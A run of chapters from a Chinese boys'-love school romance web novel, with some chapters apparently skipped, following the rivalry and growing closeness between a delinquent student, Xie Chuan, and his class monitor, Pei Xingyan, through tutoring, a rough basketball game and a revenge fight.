秦瑛进来的第一眼也是盯谢川,见他乖乖的拿着英语课本看满意的收回视线。
结果一瞥就瞧见一个空位,就那个桌子空着,很明显。
她蹙眉,正想走过去问问,门口传来一声清亮的“报告”。
“裴行砚?”
秦瑛更加疑惑,这还是她第一次见裴行砚迟到。
裴行砚发丝微乱,胸腔不规律的上下起伏,微微喘着粗气,校服扣子少见的没有扣到最上方。
“怎么迟到了。”
“闹钟没响。”
秦瑛点点头,并没有过多的问话,点了点头就让他进来了。
谢川歪着身子慢悠悠地翻着英语书,眼神却一直在门口转悠。
看见秦瑛双标的样子轻轻啧了一声,要是他,肯定不只是问一句话这么简单,不得先骂上个十句。
当然,人家班长只是偶尔迟到,而他是惯犯。
裴行砚的位置比较靠后,回座位时眼神向谢川的方向快速的扫了一眼,谢川撑着脑袋懒洋洋的看单词,没有看到。
五分钟后,单词开始变成小人打架,周围朗读的声也变成了他们吵架的声音。
谢川头一栽,睡了。
昏昏欲睡的齐阳被这动静吓了一跳,迷离着眼帮谢川将英语书立起来,挡住他的脑袋。
熟练得不能再熟练了。
毕竟,他也不想老师经常过来敲谢川的桌子,影响他打瞌睡。
下课铃一响,秦瑛本来想叫谢川上她办公室,结果就看见他早就睡得不省人事,顿时火冒三丈。
她使劲地敲桌子,语气严肃:“起来,打瞌睡就去厕所洗把脸,一早上你能记几个单词,嗯?”
谢川撑着脸挣扎地爬起来,突然被尖锐的声音吵醒,脑瓜子嗡嗡的。
他木着脸:“知道了。”
秦瑛恨铁不成钢地瞪他一眼,说:“赶紧醒醒,上我办公室。”
一天被各科老师叫去八百回办公室,早就成了常客。
谢川叹了口气,跟着去了。
办公室里,谢川并没有完全清醒,歪扭着靠在办公桌上。
秦瑛用卷子打了他手臂一下:“站直,没骨头是吧?”
谢川:“嗯,你说是什么就是什么。”
“......”
秦瑛知道他皮,就不扯了,直接说正事,展开刚才打他的卷子,问道:“这个卷子你看明白没,里面的题都很基础且典型,也不算多难。”
谢川盯了她手中的卷子两秒,眉头一挑:“什么卷子?”
“......”
眼见秦瑛不悦,嘴角下压,马上有爆发的趋势,谢川连忙道:“哦......这个啊,看......看明白了。”
他直接睁眼说瞎话,什么卷子是一点印象也没有,瞅了一半天也没想起来见过它。
秦瑛也显然没信他的鬼话。
“我上周五交代裴行砚给你讲解,怎么,他没讲吗?”
一提到裴行砚谢川记起来了,他记得当时还骂了裴行砚一句来着。
裴行砚倒是想给他讲来着,是自己没让。
谢川想着怎么给糊弄过去,支支吾吾:“他......”
“报告。”
6. 脑子烧坏了?
又是熟悉的声音,谢川回头一看,裴行砚抱着卷子进来了。
“英语课代表肚子痛,让我送下作业。”
裴行砚站在谢川旁边,秦瑛接过那沓卷子,转头见裴行砚站着不动,没有要走的意思,刚好他自己来了,就顺嘴问道:“周五让你给谢川讲卷子,这小子是不是没听你的话。”
她并不觉得是裴行砚没讲,也料到他镇不住谢川。
谢川一听,懒洋洋的又靠在办公桌上,抬着眼睛看裴行砚怎么告他的状。
结果,裴行砚平缓的、眼睛都不眨一下地编了套说辞出来:“那张卷子我做了笔记,周五有事就让他自己拿回家看了。”
谢川定定地看着他,裴行砚突然偏头看他一眼,眼神流转,谢川在他平静如水的眸子里看出来一分诡谲。
裴行砚继续说:“虽然卷子很简单,但谢川同学估计很多都不会,我之后会再抽时间给他讲一下。”
旁边的人从最开始的看戏到现在脸色越来越沉。
这明里暗里讽刺他傻呗,看不明白题。
他还真当裴行砚为他遮掩,结果就为了这句。
谢川:“不劳班长宝贵的时间了,这题这么简单,谁看不懂?”
秦瑛啧了一声,瞪了谢川一眼,恨铁不成钢:“人家有心教你学习,你还阴阳怪气,你这做法对吗?”
谢川直接闭嘴。
她语气温和了点,又对裴行砚说:“你自己的学习任务也重,这事我亲自教,你就安心学习。”
裴行砚立马接话:“没事,学习上的事情用不了我太多时间,最近有领导来我们学校视察,您事情也多。”
他顿了一下,顿得谢川心里七上八下,“谢川这边您就不用操太多心了。”
这番话直接就说进了秦瑛心坎里,那面上的和蔼慈祥都快溢出来了,越看裴行砚越是喜欢。
成绩优秀,遵守规矩,还会为老师分忧的学生上哪里找去。
“好,既然你这么说了,那就交给你了,谢川要是不听你的,就来找我。”
作为正主的谢川在一旁听得一愣一愣的。
“不是,没人听我意见?”谢川看他们三言两语就将他安排了,脸气得都些许扭曲,“我不同意,不需要裴行砚教我什么。”
秦瑛压根没理,这时上课铃应景响起,她直接将两人赶出办公室。
路上,谢川板着脸,嘴唇紧绷着,反观裴行砚,气定神闲,面容平静。
“裴行砚,我算是懂了,不跟我来硬的,来软的了是吧。”谢川轻嗤,“以为这样就能膈应到我了?”
裴行砚目不斜视,走进教室,即将分开轻声说了句:“你想多了。”
他最看不惯的就是裴行砚即使做了什么事情,永远都是这副云淡风轻的样子,仿佛轻而易举就能左右别人的事情,自己还不受半点影响。
齐阳盯着教室后门脑袋都快转痛了,见谢川阴着脸回来,知道他又被骂了。
但是平时被骂了脸色都不带变一下的,怎么今天这么吓人,他看到裴行砚跟谢川一起回来,也就没那么疑惑了。
但还是问:“瑛姐找你什么事儿?”
“卷子的事儿,本来没什么,我能糊弄过去,偏偏裴行砚故意在秦瑛面前装乖,说要主动教我。”
这时老师进来了,齐阳边拿书边小声说:“不对劲儿啊!班长他怎么突然这么热心肠了?”
谢川翻了个白眼:“热心肠?你倒是将他想得好,纯粹为了恶心我,明知道我看不惯他,上赶着凑我面前来,居心叵测。”
齐阳压根没想这么多,听了谢川这么一分析,醍醐灌顶!
但又觉得哪里不对劲,班长至于这样吗?上赶着教他学习不也麻烦自己?
他俩的事情从来没搞懂过。
下课后,谢川打了个哈欠准备去厕所,一起身见裴行砚提着卷子过来了。
“......”
“卷子你先看着,有什么不明白的放学后我再跟你讲。”裴行砚神色柔和,将卷子放在他桌子上。
前桌叫冯逸元,是作业群里的“路边草”,他凑近齐阳耳旁诧异地问:“他们不是水火不容吗?怎么看着感情不错?”
齐阳:“你眼拙啊兄弟,没看见谢川吃了苍蝇的表情吗?”
冯逸元转眼一看,“哎哟确实。”
“在老师面前装装得了,现在这样就没必要了,我还不知道你的心思。”谢川顶着腮帮子,双手环着,一副我看透了你的样子。
裴行砚低眼轻声一笑,一声清洌的笑音从喉间溢出,眼睛微弯,他说:“你知道什么?”
他淡淡地盯着谢川,殊不知在外人眼里看来,眸中平添了几分宠溺。
好在,齐阳和冯逸元不想待在这修罗场,早早的就跑了。
留有谢川在角落楞了神。
谢川被他一句话梗住了,错开了裴行砚的目光,冷着脸留下一句:“为什么要告诉你。”
裴行砚看着他背影,心情很好的回了座位。
他的同桌以为自己没睡醒,见鬼似的看见了千年冰块脸嘴角居然噙着笑?!
他摸了把脸,握着笔的手抖了抖。
自习课时,谢川第N次强迫自己静下心来看英语卷子,他忍着想撕了它的冲动,去理解裴行砚写的笔记。
裴行砚字迹工整,但并不死板,有着像他本人清冷、不好接近的凌厉感。
笔记很详细,估计就是怕谢川看不懂,用了什么语法,短语统统注在一旁,词句结构也是一目了然。
谢川能看懂一部分,有一些就实在理解不了,他眉头越皱越紧,最后笔一甩,气一叹。
什么毛病,自己居然在认认真真的看英语题?鬼上身了似的。
齐阳也在啃题,被谢川这动静吓一跳,摸了摸自己的小心脏,语气无奈:“咋了这是,不想看就不看呗,又没谁逼你。”
谢川一挑眉,缓慢转头看齐阳,“来,看看,这题你会吗?”
“......”
“咋俩成绩半斤八两,你问我?你看我像明白的样子吗?”
谢川:“啧,那不也比我好。”
齐阳撇嘴:“谢邀,你还不如去问裴行砚,反正他是秦瑛指派来教你的。”
“算了。”
齐阳眼睛转了一下,突然想到了什么似的:“你不好意思当面问,那微信跟他聊呗。”
谢川疑惑皱眉,说:“什么微信?”
“裴行砚没加你吗?那找我要你微信干嘛......”
谢川脸色倏地黑下来,原来那晚的好友申请是裴行砚。
“他倒是加我了,只是我不知道是谁,就没同意。”
“我有没有说过,不要随便给别人我的联系方式?!”谢川咬牙切齿。
齐阳一拍脑袋,想起谢川是说过这么一句话,他舔了舔嘴唇
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,尴尬地笑笑,急忙道:“你当时明明说的是不要随便给女生联系方式!没有说男生啊,对吧!”
谢川哪里还想得起来,收回目光,不再说话。
晚上放学,谢川依旧没拿什么东西,拿了个手机就准备走,但是齐阳每次都比慢,他偏头嚷了句:“怎么这么慢,有什么可收拾的。”
齐阳边塞书边拖长语调回道:“那是没有你只拿个手机快,我妈每次都要看我作业,肯定要装装样子带几本书回去啊。”
很快收拾妥当,谢川才走出几步,一个高大的身影就挡在了他面前。
这个班上比他高的只有裴行砚,所以谢川不抬头看脸就知道是谁。
“干什么?”谢川冷着声音。
“卷子你全会了?说了不懂的放学教你。”
“......”
谢川掀起眼皮语气诧然:“你来真的?”
裴行砚轻蹙了下眉头,也就一秒,随后淡声道:“我什么时候说过假的。”
谢川现在是真弄不明白裴行砚脑子里想的是什么了,看他真挚的眼神,与先前就如同变了个人。
他居然是真的想要教他。
“不是,你这么干对你有什么好处?更何况,我不乐意你教,你上赶着凑过来是要干什么?”
谢川不理解,索性直接问了,被人这么缠着可烦。
齐阳很有眼力见,旁边刚好路过冯逸元,抓着他就攀上去了,“哈哈,你们先聊,我跟芋圆儿一起走。”
冯逸元:“......”
两人陷入了短暂的沉默,周遭吵闹,但他俩自动隔绝出一个气场。
裴行砚神色稍微黯淡了点,嘴角耷拉出一个弧度。
谢川这次倒看出他的变化了,心里微悚,他说:“你这什么表情?”
心想着你这看着像是我欺负你似的,明明什么也没做。
谢川默默地往后退了一点点,黑着脸盯他。
裴行砚:“以前是我不对,处处给你使绊子,让你不痛快。”
“......”
没睡醒,出幻觉了。
裴行砚:“抱歉。”
“......”
谢川彻底疯狂,鸡皮疙瘩都快起来了。
他被吓得不轻,深深觉得裴行砚真的有毛病了。
“你......你,发烧了?还是怎么?”
死对头突然跟你悔过以往,还真诚道歉,这雷人程度就像天雷勾地火。
谢川不管他是怎样,别过身就想走,一只手从后方拽住了他的手臂。
谢川皱眉正想说什么,秦瑛突然出现在教室后门:“你俩干嘛呢?放学了还不走?”
秦瑛路过班级,正巧看见两人拉扯,她怕是起了什么矛盾,连忙出声。
裴行砚放开他的手臂,转身面不改色地说:“哦,谢川找我问问题。”
“......”你哪只眼睛看见我找你问问题?!
谢川太阳穴突突地跳,他的手自己就想动手打人了呢。
秦瑛应了一声,笑着说:“这样啊,挺好的。”
她看向谢川:“好好的学听见没,下次期中考英语要是再那么几分,你妈妈又得操心的来找我了。”
因为提到了那个人,谢川躁气逐渐消失殆尽,又恢复了平时懒散的样,敷衍的地回了句:“哦。”
最终,谢川绷着脸坐回了自己的位置。
8. 谢川被伤
这两天裴行砚时不时的过来看谢川几眼,上个厕所都要舍近求远的过来晃一圈,看得谢川眼睛都快飞刀子了。
这天下课,罗繁过来找谢川,正想开口说话,瞅到了他桌上摆的英语书,旁边摆着草稿本,那上面还洋洋洒洒地写了一些短语。
“哥们,干啥呢?”罗繁满脸诧异,嘴微微张着,“改邪归正了?”
齐阳见怪不怪地说:“大惊小怪,你川哥现在可勤奋了,桌子上整天摆着个英语书。”
谢川:“啧。”
罗繁一脸你居然背着我卷、抛弃我的样子。
“你都这样了,那我也不能颓废下去了!以后我妈就再也不能拿我跟你做对比了!”他痛定思痛,浑身坚毅。
谢川浅浅地翻了个白眼:“过来干嘛,有屁快放。”
“哦哦,今天我们班主任不知道抽什么风,将我们充电的秘密基地给端了,你有充电宝没,借我一下。”
罗繁的班主任是个上了年纪的,平时比较佛系,都不太爱与学生较真,秦瑛管的就比较严,没人敢上讲台充电,所以都带着充电宝的。
“嘁,好好学习就放下手机,专心看题。”齐阳揶揄一句。
罗繁拿了充电宝潇洒转身,“那不能。”
下午体育课,天气还是很闷热,太阳明晃晃地晒着,体育老师也偷闲,让他们跑了两圈就解散了。
谢川站在树荫下躲太阳,手抓着衣服下摆有一下没一下地扇着风,额前的碎发随风扬动。
十七八岁的少年骨骼感强,向上挺拔生长的趋势,白色短袖宽大,站在那里白的晃眼。
齐阳走过来,手里拿着一个硬书壳做成的简易扇子:“走,买瓶冰水去,今天怎么这么热。”
刚好裴行砚路过,方向也是小卖部那边,齐阳顺嘴就喊道:“班长,你也去小卖部啊,顺路一起。”
谢川不轻不重地啧了一声:“顺什么路,不顺。”
“咋不顺??”
裴行砚朝谢川看过去,微敛眼皮,小幅度地笑了下。
他嘴唇有些干燥起皮和泛白,不知道刚刚干嘛去了,现在还有点喘着。
谢川面无表情的从他脸上收回目光,语调拖长:“顺......再不走某人就要渴死了。”
说完快几步走前头去了。
齐阳:“谁要渴死了?”
谢川挑了瓶冰矿泉水,付完账站在门口仰头咕噜咕噜灌了几口。
喝完就发现几米远处站着两个女生,打扮可爱清纯,交头接耳的往他这边看。
谢川想走,齐阳还在里面买东西,便侧身朝里面喊了一句:“快点!”
“哎呀快了......”
果然,在他喊完转过身来,两个女生结伴上前满脸娇羞,紧张地拽了拽裙子。
谢川想逃,面无表情不知道该看哪儿。
“那个......学长,我们觉得你好帅,能加个联系方式吗?”
妹子声音甜甜的,站在他面前堪堪到谢川的锁骨,谢川轻咳一声,上半身往后小幅度倾斜。
他眼珠转了两下,脑子里突然冒出了一个想法:“嗯.....你们认识裴行砚吗?就,那个大帅逼。”
妹子听到这个名字眼睛亮了起来,“我知道我知道,高二年级成绩经常霸榜的那个!”
另外一个小声遗憾地说:“可是太高冷了,远远地看着都不敢上前......”
谢川一挑眉,蔫坏蔫坏的,他扬起一个调侃的笑容:“裴学长,就在里面呢,他马上出来了。”
才出来的裴行砚一脸木然,显然听到了谢川毫不仗义的卖他的话。
妹子们比见到谢川更加激动,都凑过去了,谢川颠着矿泉水瓶,悠哉悠哉地溜了。
后面齐阳也追了上来,边看后面的裴行砚边笑着:“嚯,班长这张脸就是受欢迎哈。”
他又看看谢川,思考着皱眉:“我觉得你跟班长一样帅啊,怎么这些妹子到找他,不找你呢?”
许是刚才使坏了裴行砚,谢川现在心情不错,嘴角挂着淡淡的笑:“人家就喜欢裴行砚这款,禁欲高冷的,你懂什么?”
“哦~”齐阳恍然大悟,但又觉着谢川的形容词有点奇怪,他一个大直男,也就没去细想了。
才走到操场,谢川收到了一条消息,怕秦瑛突击检查教室,所以就将手机带在身上的。
内容是罗繁叫他去篮球场救场,五班的跟八班的体育生临时约了篮球赛,本来是随便打打,罗繁这边的一个人出了状况,刚好谢川在操场。
谢川赶去篮球场的时候他们正在中场休息,旁边观众席上稀稀拉拉有几个人。
张宴和李黎也在,李黎就是群里的宝娟i,他们给谢川打了声招呼就坐下了。
罗繁见他来了,扬了扬头,一群人面儿上都带了汗。
对面八班的看见谢川眼神有点怪异,都盯着他,其中一个身形高大,皮肤小麦色的男生笑着跟他打招呼:“原来你搬的救兵是谢川啊?他,听说打得不错?”
好好的一句话,谢川听着就觉得稍微刺耳,可能是因为他不上不下的语调。
罗繁:“我兄弟之前跟技校那边的人打过,赢了,那群人,你知道的。”
话没说明,但心里都清楚,技校那群人打球打得脏,一场下来多多少少会挂点伤。
上场前,罗繁把谢川拉到了一边,小声交代:“小心点他们,杨帆下场得有点憋屈。”
谢川“嗯”了一声,随意舒展了一下筋骨。
开头比较和平,都收着力打的,一场下来,谢川也感受到他们的意图,之后的对决中,对面的逐渐感受到了谢川带给他们的压迫感。
之前没出什么力罗繁那边就落了下风,还把杨帆搞下了场,谢川来了后局面就控制不住了。
他的反应速度、弹跳力都很好,打法渐渐凶悍,八班的有两个人一直防着谢川,走哪儿跟哪儿,还时不时的身体触碰,但都被谢川灵活避过,一个向上跃的假动作,迷惑了对方片刻,再侧身没怎么瞄准就猛地一投。
三分球进了。
观众席爆发出几声欢呼,不知不觉又来了十几个人,其中右下方一道身影静静地伫立着,眼睛淡淡的蕴着笑,一刻不移的盯着跑跳的谢川。
谢川转身时扫了观众席一眼,一下就捕捉到了修长挺拔的裴行砚,他光站在那儿,就很出挑。
但也只停留了两秒的目光,就不着痕迹地移开了。
裴行砚在谢川看过来的那一瞬间定住了,只是一个很简单的眼神碰撞,却令他心中一颤,睫毛微抖,好像跟脑中的某个画面重叠,又好像是第一次见。
没来得及仔细回味,场上又开始了,比分已经被谢川追了回来,对面急了,那个大高个凑过去跟身边的队友说了什么,看向谢川的眼神带着一点狠。
谢川皮笑肉不笑地扯了下嘴角,挑衅意味十足。
果然,这一把比刚才打得更加艰难,对面盯谢川盯得更紧,好几次擦肩的力道撞得骨头都疼。
谢川微躬着背,手下不急不慢地运着球,看着对他虎视眈眈的两人,眼神散发着狠意,平时的吊儿
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郎当不着调不复存在,隐了几分阴沉。
他又重复刚才向上跳的假动作,但是对面吃了一亏,不再上当,挡在他的侧边。
谢川冷着勾笑,要的就是他们这样,他不经意转身,将球传给了稍微他后面的罗繁,罗繁反应也快,拿了球就冲。
谢川也向他那边跑去,刚才挡他球的两个人此刻却如毒蛇般缠上来,罗繁那边也被截了,谢川有点急,用蛮力往前冲。
那两人暗中相视一笑,在谢川专注球往前走时横出一只脚,将他狠狠地绊倒在地,混乱中又用脚再次踢了一下。
谢川倒下了。
倒地后脑子里第一反应:“傻逼球赛傻逼人。”
球场一片混乱,罗繁跟八班的瞬间扭打在一起,边打边艹天艹地地骂。
有女生的尖叫声,有拉架的声音,唯独谢川就清楚地听到了裴行砚那声急躁的“谢川!”
裴行砚急了,三步并两步地跑到球场中央,谢川被挡住了,他怕他再次被误伤,扒开人群的手都在抖。
“让开!”
裴行砚低沉带着怒气的两个字在人群中炸开,将混乱无序的场面按下暂停键。
他不顾形象的半跪在地,手臂一揽把人护在了身下。
“谢川,怎么样了?”
谢川刚才疼得有点发懵,本就是膝盖着地,他清楚的听到了沉闷的碰撞声,不知道是谁的那一脚踢到了小腿,那一瞬间痛得他无声叫了下。
裴行砚全程眼睛盯着他的,即使位置有偏差,但谢川被打的全过程都看见了,特别是他张嘴叫的那一下,让他心脏骤停。
人群散开了些,罗繁反应过来后也蹲下来紧张询问:“伤哪儿了?严不严重?”
裴行砚把他一只手搭在自己的肩膀,将他慢慢扶起来,沉着声音说:“能走吗?送你去医务室。”
现在缓过来了些,之前打球也不是没受过伤,刚才只是痛懵了,所以他摇摇头:“没事,不用去。”
结果他说完这句话后明显感觉旁边这人的气息更沉了,后背凉飕飕的。
“由不得你。”
“......”
李黎把体育老师带过来了,他气冲冲地拨开两拨人,让他们都散开,然后查看谢川的伤势。
膝盖红了大片,破皮了,主要的是小腿,当即就青紫了,看着不怎么严重,但闷着痛。
“你们先去医务室吧。”他看了一眼裴行砚,又说,“再来个人,你们三个去。”
罗繁立马靠过来,自告奋勇:“我来我来。”
裴行砚没有温度地说了一句不需要,就带着谢川走了。
“......”
体育老师有些意外的挑了下眉,也没说什么,转头对罗繁一瞪:“你给我老实待着,就是你们刚才在打架吧?”
罗繁瞬间萎了,还没打过瘾呢,要不是他兄弟受伤着急。
谢川被裴行砚扶着走,他觉得很是别扭,更别说这么近的肢体触碰。
“不用扶着,我能走。”他挣脱开裴行砚搂着腰的手,稍微侧开了点身体。
裴行砚看他自己走了两步,只有左脚发力,右脚跟着一瘸一瘸的,又冷着脸握住他手臂,给他撑着。
谢川看了他一眼,被冷冰冰的表情给怼了回来,也就没挣扎了。
他这会儿突然回想起球场混乱之际裴行砚不符合常理、过激的反应。
罗繁看着都没他这么急,这人怎么回事?他们关系很好吗?
想不通,谢川试着问:“球场的时候,看见我倒了那么急?”
11. 他受伤,你双倍奉还
到了医院检查一番,医生说没有伤到骨头,只是软组织损伤,需要用药一段时间。
医生开药的时候闲聊:“你们这是跟人打架了吧,还好没有伤到骨头,小小年纪的别总是这么莽,好好学习不行吗。”
裴行砚顺着医生的话说谢川:“听到了吗,别总是打架,不好。”
谢川木脸,这人又得寸进尺,但好歹也是为他受的伤,就没顶嘴。
医生看了看两人,疑惑:“不是你受伤吗,说这个小伙子干嘛?”
谢川:“因为他冲出来当好人,没打过架还跑过来保护别人。”
裴行砚默默地笑了笑,没说话。
拿完药谢川送裴行砚回家,稍微有点远,是高级优雅的小洋房,前面还有个小花园。
“这得告诉你家里人,你一个人肯定不方便。”裴行砚因他受伤,谢川就忍不住多嘱咐了几句。
“我家就我一个人。”
谢川微楞,“哦”了一声。
他站在客厅中央,把人送到家,就没他的事了,正想说我回去了。
裴行砚坐在沙发上淡淡开口:“帮我看看背后的伤,拍个照。”
“哦,好。”
谢川想从后面掀开他的衣服,但看不完全,索性直接脱完。
但脱男人衣服这事,还是头一回干,脱的还是死对头的衣。
他半弯着腰,双手捏住衣服下摆,往上掀,慢慢显露出劲瘦的腰,紧致的腹肌。
两人离得很近,呼吸交错在颈间,谢川浑身不自在,憋着劲儿干的这事,他一眼都没敢看裴行砚,只想着怎么还脱不下来。
“抬手。”
说出的话已然变得炽热,嘶哑。
快要脱完时,裴行砚突然出声:“疼......慢点。”
谢川不得不慢下手中的动作,更加的小心。
裴行砚嘴角噙着笑,神色幽深地盯着某人耳尖的红。
终于脱下来了,谢川长长地吐了口气,打架都没这么累。
在医院的时候,他缴费去了,就没看见他的伤。
他让裴行砚转过身来,看到触目惊心的一杠深红,已经肿胀充血,贯穿了大半个背部。
谢川不是没受过这样的伤,更严重的都有,但看到他身上的伤时,心莫名抖了一下,酸酸胀胀的。
长久没听到动静,裴行砚回头看他。
谢川回神,拿手机拍了张照:“估计得疼一段时间了。”
他又咬了咬牙,语气低狠了不少:“让我查出来这群孙子是谁,让他们几倍的还回来。”
裴行砚垂眼,他知道是谁,但告诉了谢川,他又会去打架,裴行砚不想,也就没说。
说到这儿,谢川突然想起,当时裴行砚是从哪里窜出来的?怎么就刚刚好为他挡了一下。
他微微挑眉,问:“你今天跟踪我?”
“而且知道有人蹲我?”
裴行砚沉默,在谢川的目光审视下还是慢悠悠地开口了:“嗯,今天下午在厕所听到的。”
“谁的人?”
裴行砚又默了,谢川着急,不耐地“啧”了一声:“你说话啊。”
他抬眼对上谢川些许烦躁的目光,嘴开合,仿佛在斟酌字句,最后,没什么气地说:“告诉你了,你能不打架么?”
谢川毫不犹豫:“不能。”
接着又讪笑一声:“班长,善良也得有个度,他们把你弄成这样,我要不还回去,以为我们怂呢。”
裴行砚微乎其微地叹了口气,只是不想你再有受伤的机会而已。
交涉失败,他将下午听到的全数吐出。
“果然是这孙子,我还没找他呢,倒先缠上来了。”
“行了,这事我会解决,以后少掺和这些烂事,更别拿你身体为别人挡枪,知道吗?”
裴行砚抬头看他,你的事,怎么会是烂事。
星期一升旗仪式,谢川刚叼着包子到教室,就被齐阳催促着去操场。
“快走快走,去晚了又要被罚站。”
谢川却一屁股坐在凳子上,慢悠悠地吃着包子,“急什么,你先去。”
齐阳没管了,跟大部队走了。
人都走得差不多了,谢川擦了擦手,走到裴行砚桌前,扣了两下。
“你要不要去升旗仪式,不去的话我帮你跟瑛姐请假。”
裴行砚本也是打算等人都走了,不挤了再去操场,没想到谢川会留下来等他。
他摇摇头:“不用,又不是脚受伤了。”
两人像散步似地走在大部队后面,谢川瞟了一眼他的后背,问:“背没那么难受了吧?”
裴行砚目不斜视,表面冷淡如水,心中泛起涟漪。
“你在关心我。”
不是问句,而是肯定。
谢川不自然地看向地面,问的时候没觉得有什么,从他嘴里说出来怎么就变了味了呢。
“昂,你为我受伤,关心一下不是应该的吗。”
“那我伤没好之前,你要一直关心我。”裴行砚偏头。
谢川无语地抿了抿唇,斜着瞥他一眼:“别得寸进尺啊。”
裴行砚慢慢地蔫了。
他们本想从后面插进队伍中,眼尖的教导主任拿起麦克风就点名。
“后面的两位同学,迟到了出来站着!”
操场的目光瞬间集中在他俩身上。
高伟看见谢川全须全尾地站在操场上,疑惑后又暗骂一句。
“这几个人真是没用。”
谢川不急不躁地挽住裴行砚的手臂,大喊:“主任,你的年级第一受伤了,走不动,我搀着呢!”
一句不过瘾,又吼了句:“关爱同学不应该表扬表扬吗!”
裴行砚:“......”
周围沸起一片议论。
“不是说校霸跟学霸八字不合,动不动就发生血战吗?”
“不是说是死敌吗,怎么相亲相爱手牵手了?”
后面的齐阳扒着脑袋往前挤,两眼放光。
“我就知道他俩背着我私交甚密!”
“还不承认!”
主任无语,手一挥:“行行,进去站好。”
漫长的发言环节完毕,唯一让人有点兴趣的念检讨来了。
最先上的是罗繁,他丝毫不怯场,仿佛万众瞩目般走上去,拿出检讨纸,呸了一下手捻开纸。
开始了他这场看似认错却暗藏嘲讽的检讨。
主任没怎么听出来,还满意的站在下面时不时地点头。
四班知道操场事件的人在下面脸都快笑烂了。
齐阳自己偷着笑还不过瘾,转头继续对着谢川哈哈,“笑死我了,罗繁嘲讽值都快拉满了,主任还在下面满意地点头呢。”
谢川没觉得有什么好笑的,面无表情地看着齐阳乐呵。
“诶,你怎么不笑。”他突然想到了什么,身子往后靠,“也是,你写检讨都八百回了,罗繁的暗讽技术,比起你还是差远了哈哈哈。”
谢川这回笑了,盯着齐阳揶揄:“呵呵,班主任过来了。”
下一秒。
“齐阳,笑什么呢我听听。”秦瑛微悚的声音从后面传来。
“......”
罗繁之后,就是八班的高伟一行人,他们就没罗繁淡定了,觉得丢人,脸色沉着。
偏偏在刚开口时,谢川突然出声,“主任!后面听不见,话筒声音太小了!”
主任瞪了谢川一眼,觉得他又在插科打诨,刚想骂回去,四班稀稀拉拉的都在喊。
“主任......听不见~”
主任这才相信了,叫人又去拿了两个话筒,摆在高伟面前。
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>高伟在台上纸都快捏烂了。
念完后,高伟立即就想冲下台,被主任制止。
“诶诶,还没给谢川同学道歉呢!哪儿去!”
他又僵硬着回去了。
谢川在下面微仰着头,双手插在兜里,嚣张又散漫地站着。
因为他知道高伟正不服气地盯着自己。
“对......对不起,谢川同学。”
谢川:“什么?!”
高伟涨红了脸:“......我说,对不起!”
颇有点咬牙切齿的感觉。
谢川轻蔑地笑笑,这会儿不服气,等会就老实了。
裴行砚站在队伍末尾,谢川的身子有些靠后,毛茸茸的头发都蹭到了他鼻尖,又酥又痒。
他抬手顶了顶谢川的后背,谢川猛地瑟缩,疑惑地回头看他。
“都快贴到我身上了。”
谢川眉毛扬起:“你不知道往后退啊?”
裴行砚低顺着眼睛,轻声说:“脚疼。”
谢川黑脸,在教室的时候你可不是这么说的,真踩你一脚就老实了。
解散后,谢川眼疾手快地扯住正准备飞奔回去赶作业的齐阳。
齐阳回头:“???”
谢川指了指裴行砚,说:“你把他带回去。”
齐阳懵逼:“????”
“咋,班长不认路了?”
那天他俩打架的事情还没告诉齐阳,谢川眼瞅着那个人走远了,急躁地丢下一句:“回头跟你解释,护着裴行砚。”
裴行砚安静的让谢川安排着,他离去后眼神追随了好久。
高伟离开操场时突然尿急,去了角落里基本没人用的厕所。
他一身轻松的出来后,还没反应过来面前站着的是谁,就被勒着脖子拽了进去。
“靠,谢川你给劳资放手!”
一句话让谢川勒得更紧了,高伟一个大高个,就这样被谢川拖着来到了最里面。
他整张脸涨得通红,谢川手一甩,他狼狈地滚到了地上。
高伟还没被人这样戏弄过,火气冒了顶,上去就是一拳。
不过打了个空,谢川侧身一脚又把他踢到角落。
“蹲那儿。”
冷意逼人的嗓音带着点不耐劲儿,谢川居高临下地盯着他。
高伟本想再爬起来,对上谢川黑沉的眼神突然怂了一下,不敢站起来了。
谢川这校霸称号可是实打实的打出来的。
一对一,他毫无胜算。
“看我没受伤是不是很失望啊。”谢川声音毫无起伏,冷得没有一丝温度。
“因为,伤都在裴行砚身上了。”
高伟一楞,那群废物怎么把裴行砚给伤了,他心中隐隐发凉。
他宁愿跟谢川较劲,都不想惹上裴行砚。
心里有些怵,但面上不能怂。
高伟装傻充愣:“裴行砚受伤了关我什么事,又不是我打的他。”
谢川嗤笑,抬手就是一拳砸在他肚子上。
“继续装。”
高伟被打得弯下腰去,疼痛让他爆了粗口。
“妈的谢川,真以为我不会还手吗!”
他气得红温,额角爆起青筋,跟谢川扭打在了一起。
与其说是斗殴,不如说是单方面挨揍。
谢川眉头紧锁,眼眸森然,没挑着要害打,都是藏在衣服底下的暗伤。
“一而再而而三的来惹我,真当你爹没脾气呢?”
“裴行砚身上两道伤,你他妈双倍奉还。”
高伟真是怕了,盛怒下的谢川,他毫无还手之力。
“哥,哥!我错了!”高伟受不住的求饶,连声线都是抖的。
他心中暗想,惹谁都不能惹这个阎王。
还有裴行砚,貌似被谢川罩着的。
13. 你喜欢我碰你?
中午放学,齐阳拿着手机就准备冲,回头发现谢川稳坐不动。
“吃饭去啊,再不走就抢不过高一那群崽子了!”
谢川看了眼裴行砚,说:“你跟芋圆儿先去占位置,这会人多,裴行砚身上有伤。”
齐阳比了个ok的手势,转身就飞出去了。
等人都走得差不多了,谢川起身,裴行砚看见谢川明明不是很耐心,却还是嘴硬心软地等他,就不由得笑了起来。
“笑啥。”谢川皱眉,又想起了啥,问,“你涂药没。”
裴行砚摇头,又顺势说:“后背的涂不到。”
然后眼巴巴地看着他。
谢川无语,伸手示意他把药膏拿出来。
教室空无一人了,涂药就得先脱衣服,谢川不想说话,但裴行砚仿佛故意的,就坐着看着他。
谢川忍了几秒,嘴里挤出几个字:“脱衣服。”
“等着我给你脱呢?”
裴行砚不要脸地接话:“也不是不可以。”
“……”
谢川再次肯定,这人真的跟以前不一样了,像他妈被夺舍了似的!
裴行砚脱了衣服,背对着谢川,背看着并不薄,有经常锻炼的痕迹,肌肉线条很流畅。
谢川心里下意识的跟自己对比了一下,得出一个结论,没自己的好看。
没有棉签,谢川只能涂在自己手上,然后抹上去。
药膏触感丝滑软腻,微凉的手指触碰到背部的那一刻,裴行砚生理性地抖了抖,紧绷着背部。
涂了多久,绷了多久,谢川并没有意识到。
刚好罗繁才打完球回来准备去食堂,余光敏锐地瞥见这一幕。
他愣在外面看了半分钟,直到谢川发现了他。
“鬼鬼祟祟在外面看什么呢,来,进来看?”
谢川正用纸巾擦拭着手指,偏着头盯罗繁。
